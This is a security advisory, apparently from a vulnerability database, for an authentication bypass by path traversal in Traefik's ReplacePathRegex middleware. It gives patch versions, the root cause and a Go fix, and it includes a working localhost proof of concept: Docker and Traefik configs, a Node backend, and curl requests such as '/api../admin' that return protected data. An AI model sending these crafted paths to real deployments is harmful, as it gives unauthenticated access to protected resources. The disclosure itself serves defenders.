GHSA-CXJQ-MRR5-89RV
Vulnerability from github – Published: 2026-08-06 16:51 – Updated: 2026-08-06 16:51Summary
There is a critical authentication-bypass vulnerability in Traefik's ReplacePathRegex middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example regex: "^/api(.*)", replacement: "/$1"), a crafted request can produce an un-normalized replacement path such as /../admin, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for StripPrefix in CVE-2026-48020; that post-replacement normalization check had not been applied to ReplacePathRegex. The fix rejects any request whose replaced path does not match its normalized form.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.52
- https://github.com/traefik/traefik/releases/tag/v3.6.23
- https://github.com/traefik/traefik/releases/tag/v3.7.7
For more information
If you have any questions or comments about this advisory, please open an issue.
Original Description ### Summary A path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex. ### Details When ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: "^/api(.*)"`, `replacement: "/$1"`), an attacker can inject implicit traversal sequences into the capture group. **Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix. **Attack flow:** 1. Attacker sends `GET /api../admin` 2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment) 3. Router matches `PathPrefix(/api)` → selects the public router (no auth middleware) 4. ReplacePathRegex applies `^/api(.*)` → captures `../admin` → replacement produces `/../admin` 5. No normalization check exists → path forwarded to backend as-is 6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin` 7. Attacker receives protected content without authentication **Suggested fix:** Add the same JoinPath equality check after line 67:if cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {
http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)
return
}
### PoC
**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl
**1. Create `docker-compose.yml`:**
services:
traefik:
image: traefik:v3.7.6
command:
- "--api.insecure=true"
- "--providers.file.filename=/etc/traefik/dynamic.yml"
- "--entrypoints.web.address=:80"
ports:
- "8080:8080"
- "80:80"
volumes:
- ./dynamic.yml:/etc/traefik/dynamic.yml:ro
healthcheck:
test: ["CMD", "traefik", "healthcheck"]
interval: 5s
timeout: 3s
retries: 5
backend:
image: node:22-alpine
working_dir: /app
volumes:
- ./server.js:/app/server.js:ro
command: ["node", "server.js"]
healthcheck:
test: ["CMD", "wget", "-qO-", "http://localhost:3000/health"]
interval: 5s
timeout: 3s
retries: 5
**2. Create `dynamic.yml`:**
http:
routers:
public-api:
rule: "PathPrefix(`/api`)"
entryPoints: [web]
middlewares: [rewrite-api]
service: backend-svc
priority: 1
protected-admin:
rule: "PathPrefix(`/admin`)"
entryPoints: [web]
middlewares: [auth]
service: backend-svc
priority: 2
middlewares:
rewrite-api:
replacePathRegex:
regex: "^/api(.*)"
replacement: "/$1"
auth:
basicAuth:
users:
- "admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/"
services:
backend-svc:
loadBalancer:
servers:
- url: "http://backend:3000"
**3. Create `server.js`:**
const http = require('http');
const path = require('path');
const server = http.createServer((req, res) => {
const normalized = path.posix.normalize(req.url.split('?')[0]);
res.setHeader('Content-Type', 'text/plain');
if (normalized === '/health') { res.writeHead(200); res.end('OK\n'); }
else if (normalized === '/admin' || normalized.startsWith('/admin/')) {
res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\n`);
} else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\n`); }
});
server.listen(3000);
**4. Run and exploit:**
docker compose up -d && sleep 5
# Confirm auth is enforced:
curl -s -o /dev/null -w "%{http_code}" http://localhost/admin
# → 401
# Auth bypass:
curl -s http://localhost/api../admin
# → ADMIN_SECRET_DATA (normalized=/admin)
# URL-encoded variant:
curl -s http://localhost/api%2e%2e/admin
# → ADMIN_SECRET_DATA (normalized=/admin)
**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix("/api")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix("/api")` was vulnerable but `StripPrefix("/api/")` was not.
### Impact
Authentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.11.51"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.11.52"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.22"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.6.23"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.7.6"
},
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.7.0"
},
{
"fixed": "3.7.7"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/traefik/traefik"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.7.34"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-65600"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-06T16:51:10Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThere is a critical authentication-bypass vulnerability in Traefik\u0027s `ReplacePathRegex` middleware. When it is configured with a regular expression that captures user-controlled path segments without a mandatory separator (for example `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), a crafted request can produce an un-normalized replacement path such as `/../admin`, which Traefik forwarded to the backend without validation. A backend that normalizes the path may resolve it to a protected route, letting an unauthenticated attacker reach resources located behind authentication middleware. This is the same class of issue that was fixed for `StripPrefix` in CVE-2026-48020; that post-replacement normalization check had not been applied to `ReplacePathRegex`. The fix rejects any request whose replaced path does not match its normalized form.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.52\n- https://github.com/traefik/traefik/releases/tag/v3.6.23\n- https://github.com/traefik/traefik/releases/tag/v3.7.7\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nA path traversal vulnerability in the ReplacePathRegex middleware allows an unauthenticated remote attacker to bypass authentication middleware and access protected routes by sending a single crafted HTTP request. The vulnerability exists because ReplacePathRegex does not perform post-replacement path normalization validation - the same check added to StripPrefix in the fix for CVE-2026-48020 was not applied to ReplacePathRegex.\n\n\n### Details\nWhen ReplacePathRegex is configured with a regex that captures user-controlled path segments without a mandatory path separator (e.g., `regex: \"^/api(.*)\"`, `replacement: \"/$1\"`), an attacker can inject implicit traversal sequences into the capture group.\n\n**Root cause:** `pkg/middlewares/replacepathregex/replace_path_regex.go`, function `ServeHTTP` (lines 56-74). After the regex substitution produces a new path, the middleware forwards it to the backend without checking whether the path normalizes differently - unlike StripPrefix which rejects such paths with HTTP 400 after the CVE-2026-48020 fix.\n\n\n**Attack flow:**\n\n1. Attacker sends `GET /api../admin`\n2. `sanitizePath` passes it unchanged (`api..` is a valid segment name, not a dot-segment)\n3. Router matches `PathPrefix(/api)` \u2192 selects the public router (no auth middleware)\n4. ReplacePathRegex applies `^/api(.*)` \u2192 captures `../admin` \u2192 replacement produces `/../admin`\n5. No normalization check exists \u2192 path forwarded to backend as-is\n6. Backend framework (Express, Flask, Django, Spring, ASP.NET) normalizes `/../admin` to `/admin`\n7. Attacker receives protected content without authentication\n\n**Suggested fix:** Add the same JoinPath equality check after line 67:\n\n```go\nif cleanPath := req.URL.JoinPath(); cleanPath.Path != req.URL.Path {\n http.Error(rw, http.StatusText(http.StatusBadRequest), http.StatusBadRequest)\n return\n}\n```\n\n\n### PoC\n**Prerequisites:** Docker Engine 20.10+, Docker Compose v2, curl\n\n**1. Create `docker-compose.yml`:**\n\n```yaml\nservices:\n traefik:\n image: traefik:v3.7.6\n command:\n - \"--api.insecure=true\"\n - \"--providers.file.filename=/etc/traefik/dynamic.yml\"\n - \"--entrypoints.web.address=:80\"\n ports:\n - \"8080:8080\"\n - \"80:80\"\n volumes:\n - ./dynamic.yml:/etc/traefik/dynamic.yml:ro\n healthcheck:\n test: [\"CMD\", \"traefik\", \"healthcheck\"]\n interval: 5s\n timeout: 3s\n retries: 5\n backend:\n image: node:22-alpine\n working_dir: /app\n volumes:\n - ./server.js:/app/server.js:ro\n command: [\"node\", \"server.js\"]\n healthcheck:\n test: [\"CMD\", \"wget\", \"-qO-\", \"http://localhost:3000/health\"]\n interval: 5s\n timeout: 3s\n retries: 5\n```\n\n**2. Create `dynamic.yml`:**\n\n```yaml\nhttp:\n routers:\n public-api:\n rule: \"PathPrefix(`/api`)\"\n entryPoints: [web]\n middlewares: [rewrite-api]\n service: backend-svc\n priority: 1\n protected-admin:\n rule: \"PathPrefix(`/admin`)\"\n entryPoints: [web]\n middlewares: [auth]\n service: backend-svc\n priority: 2\n middlewares:\n rewrite-api:\n replacePathRegex:\n regex: \"^/api(.*)\"\n replacement: \"/$1\"\n auth:\n basicAuth:\n users:\n - \"admin:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/\"\n services:\n backend-svc:\n loadBalancer:\n servers:\n - url: \"http://backend:3000\"\n```\n\n**3. Create `server.js`:**\n\n```javascript\nconst http = require(\u0027http\u0027);\nconst path = require(\u0027path\u0027);\nconst server = http.createServer((req, res) =\u003e {\n const normalized = path.posix.normalize(req.url.split(\u0027?\u0027)[0]);\n res.setHeader(\u0027Content-Type\u0027, \u0027text/plain\u0027);\n if (normalized === \u0027/health\u0027) { res.writeHead(200); res.end(\u0027OK\\n\u0027); }\n else if (normalized === \u0027/admin\u0027 || normalized.startsWith(\u0027/admin/\u0027)) {\n res.writeHead(200); res.end(`ADMIN_SECRET_DATA (normalized=${normalized})\\n`);\n } else { res.writeHead(200); res.end(`PUBLIC (normalized=${normalized})\\n`); }\n});\nserver.listen(3000);\n```\n\n**4. Run and exploit:**\n\n```bash\ndocker compose up -d \u0026\u0026 sleep 5\n\n# Confirm auth is enforced:\ncurl -s -o /dev/null -w \"%{http_code}\" http://localhost/admin\n# \u2192 401\n\n# Auth bypass:\ncurl -s http://localhost/api../admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n\n# URL-encoded variant:\ncurl -s http://localhost/api%2e%2e/admin\n# \u2192 ADMIN_SECRET_DATA (normalized=/admin)\n```\n\n**Configuration note:** The regex `^/api(.*)` (without slash separator before the capture group) is the exploitable pattern. This is the natural way to write a prefix-strip equivalent with ReplacePathRegex and is functionally identical to `StripPrefix(\"/api\")` for legitimate traffic. The pattern `^/api/(.*)` (with mandatory slash) is not exploitable - the same structural narrowing as CVE-2026-48020 where `StripPrefix(\"/api\")` was vulnerable but `StripPrefix(\"/api/\")` was not.\n\n\n### Impact\nAuthentication bypass. Any route protected by auth middleware on a separate router (BasicAuth, ForwardAuth, DigestAuth) can be accessed without credentials by an unauthenticated network attacker via a single HTTP request. Both read and write operations (GET/POST/PUT/DELETE) bypass authentication. The vulnerability affects deployments using ReplacePathRegex for prefix stripping - a common, documented configuration pattern.\n\n\u003c/details\u003e\n\n---",
"id": "GHSA-cxjq-mrr5-89rv",
"modified": "2026-08-06T16:51:10Z",
"published": "2026-08-06T16:51:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/security/advisories/GHSA-cxjq-mrr5-89rv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65600"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/commit/3f10dd442479530560f010167cac2947676d9b29"
},
{
"type": "PACKAGE",
"url": "https://github.com/traefik/traefik"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v2.11.52"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.6.23"
},
{
"type": "WEB",
"url": "https://github.com/traefik/traefik/releases/tag/v3.7.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/traefik-before-authentication-bypass-via-replacepathregex"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Traefik: Authentication Bypass via Path Traversal in ReplacePathRegex Middleware"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.